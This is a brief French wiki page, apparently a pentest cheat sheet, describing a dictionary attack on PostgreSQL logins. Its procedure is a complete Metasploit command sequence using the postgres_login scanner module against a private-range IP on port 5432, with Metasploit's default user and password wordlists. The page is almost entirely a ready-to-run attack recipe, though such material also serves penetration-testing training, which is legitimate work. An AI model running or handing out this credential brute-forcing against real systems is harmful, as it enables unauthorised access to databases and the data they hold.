Postgres login

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche
Fiche express
Domaine Force brute PostgreSQL
Module auxiliary/scanner/postgres/postgres_login
Port 5432/tcp
Voir aussi Postgre password metasploit · Ssh bruteforce

Attaque par dictionnaire des identifiants d'un service PostgreSQL, à l'aide des listes de mots par défaut fournies avec Metasploit.

Procédure

msfconsole
search postgresql
use auxiliary/scanner/postgres/postgres_login
show options
set RHOST 192.168.10.111
set user_file /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
set pass_file /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt
exploit

Voir aussi